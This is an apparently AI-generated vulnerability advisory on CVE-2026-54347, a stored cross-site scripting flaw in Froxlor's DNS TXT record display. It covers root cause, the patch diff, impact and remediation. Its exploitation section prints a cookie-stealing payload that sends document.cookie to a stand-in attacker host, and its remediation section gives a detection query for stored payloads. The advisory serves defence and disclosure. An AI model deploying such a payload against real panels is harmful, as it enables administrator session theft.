CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54347

CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 19, 2026·6 min read·12 visits

Executive Summary (TL;DR)

Authenticated customers with DNS editing access can store malicious JavaScript in DNS TXT records, leading to arbitrary code execution in the browser of any administrator who views the domain's configuration.

A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.

Vulnerability Overview

Froxlor is an open-source hosting management panel that allows administrators to delegate server administration resources to customers. The core platform handles domain provisioning, mail server routing, and Domain Name System (DNS) zone management. Because customers are permitted to configure their own DNS zones, the interfaces associated with DNS record creation form an entry point to the application's data-persistence layers.

This vulnerability, tracked as CVE-2026-54347 (GHSA-43gm-9rr3-cx7g), resides in the presentation layer of the DNS management module. Specifically, the vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It represents a stored cross-site scripting flaw that bridges security boundaries between non-privileged customer sessions and high-privilege administrative sessions.

The attack surface is exposed via the customer-facing DNS record management interface. While customers are restricted to managing records associated with their assigned domains, administrators regularly audit, troubleshoot, or modify these same zones from the administrative panel. Consequently, malicious payloads injected into customer-controlled records can target administrative sessions.

Root Cause Analysis

The root cause of CVE-2026-54347 is a failure of context-aware output encoding when rendering dynamically formatted database records within Twig templates. The flow of data from input to execution follows a multi-stage pipeline across the MVC layout of the Froxlor DNS management module.

First, input ingestion occurs via lib/Froxlor/Api/Commands/DomainZones.php. When a customer saves a DNS TXT record, the controller relies on a restrictive regular expression for sanitization:

$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);

This filter removes non-printable ASCII and binary control characters but explicitly preserves standard printable ASCII characters. Characters such as < and > are stored in the database without modifications or encoding.

Second, the formatting layer modifies the string prior to UI generation. The application uses UI callbacks to adjust long strings inside data tables. For TXT records, the application calls the Text::wordwrap callback, located in lib/Froxlor/UI/Callbacks/Text.php, which inserts HTML line breaks (<br>) every 100 characters to prevent layout distortion.

Third, the rendering pipeline processes the string. Because the Text::wordwrap callback injects physical <br> elements that must be interpreted as HTML markup by the browser, the template file responsible for rendering table cells (templates/Froxlor/table/table.html.twig) disables auto-escaping using the |raw filter. The raw output is delivered directly to the browser, leading to script execution.

Code Analysis and Patch Verification

The vulnerability was resolved in version 2.3.8 by introducing context-aware sanitization inside the callback before string processing occurs. The following diff highlights the code modification applied in lib/Froxlor/UI/Callbacks/Text.php:

@@ -92,7 +92,7 @@ public static function shorten(array $attributes): string
 
 	public static function wordwrap(array $attributes): string
 	{
-		return wordwrap($attributes['data'], 100, '<br>', true);
+		return wordwrap(htmlspecialchars($attributes['data']), 100, '<br>', true);
 	}
 
 	public static function customerNoteDetailModal(array $attributes): array

Applying htmlspecialchars directly to $attributes['data'] prior to the wordwrap execution transforms characters like < and > into their equivalent HTML entities (&lt; and &gt;). This process occurs prior to the insertion of the raw <br> strings.

When the Twig template processes the modified output using the |raw filter, the browser interprets the <br> tags as actual carriage returns but displays the underlying script tags as literal text instead of executing them.

Although this patch secures the specific Text::wordwrap callback, the underlying Twig template (table.html.twig) continues to use the |raw filter for cell rendering. This architecture introduces a reliance on individual callback developers to enforce escaping. Any future callback added to the platform that handles user-supplied data without manually applying htmlspecialchars or equivalent sanitization filters will reintroduce similar stored XSS vulnerabilities.

Exploitation and Attack Path

Exploitation of CVE-2026-54347 requires an attacker to possess valid credentials for a customer account configured with permission to manage domain zone files. No administrative or high-privilege access is required to initiate the attack.

The attacker injects a stored script payload into a new DNS TXT record. A standard payload structure utilizes a source-based or image-based callback to deliver the script:

<img src=x onerror="fetch('https://attacker.com/log?c=' + encodeURIComponent(document.cookie))">

When the administrative user navigates to the DNS overview page for the customer's domain, the server fetches the record from the panel_dns table, routes it through the vulnerable wordwrap callback, and renders it in the administrative interface. The browser executes the payload instantly, transmitting the administrator's active session identifiers or anti-CSRF tokens to the listener controlled by the attacker.

Impact Assessment

The CVSS 3.1 base score for this vulnerability is 8.7, indicating high severity. The attack vector is Network-based (AV:N), and the complexity is Low (AC:L), meaning standard network conditions and minimal preparation are necessary for successful execution. The privilege requirement is Low (PR:L), as the attacker must only have standard customer access to modify their zone files.

The scope is Changed (S:C) because the injected script operates within the browser of the administrator, manipulating resources and privileges associated with a superior security context. This allows complete takeover of the administrator's active session. This mechanism permits the exfiltration of sensitive server configurations, customer records, and system-level access credentials.

By leveraging the administrator's session, an attacker can invoke administrative endpoints to execute high-privilege operations. These operations include creating new administrative accounts, modifying server-wide services, executing arbitrary commands via system integrations, or completely compromising the underlying hosting infrastructure.

Remediation and Mitigation

The primary remediation strategy is upgrading the Froxlor installation to version 2.3.8 or later, which implements the necessary sanitization patches. Organizations should immediately apply updates to their hosting control panels to eliminate exposure.

If immediate software upgrade is not feasible, administrators can apply a hotfix manually. Locate lib/Froxlor/UI/Callbacks/Text.php and update the wordwrap function signature to implement the htmlspecialchars wrapper:

public static function wordwrap(array $attributes): string
{
    return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'), 100, '<br>', true);
}

To identify existing indicators of compromise or stored payloads within the system, run a database query against the zone tables to isolate suspicious string constructs:

SELECT id, domainid, record, type, content 
FROM panel_dns 
WHERE type = 'TXT' 
  AND (content LIKE '%<script%' OR content LIKE '%<img%' OR content LIKE '%onerror%' OR content LIKE '%javascript:%');

Additionally, implementing a strict Content Security Policy (CSP) is recommended. Restricting script evaluation by removing the 'unsafe-inline' and 'unsafe-eval' directives from the HTTP headers of the Froxlor admin interface prevents execution of injected script tags, providing robust defense-in-depth.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Froxlor Server Administration Panel

Affected Versions Detail

Product
Affected Versions
Fixed Version
Froxlor
Froxlor
< 2.3.82.3.8
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.18.7
Exploit Statuspoc
KEV StatusNot listed
ImpactAdministrative Session Hijacking / Privilege Escalation

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1204.002User Interaction: Malicious Link / Page
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

References & Sources

  • [1]Official GitHub Advisory
  • [2]Vulnerability Fix Commit
  • [3]Release Version 2.3.8
  • [4]NVD Detail Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
7 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read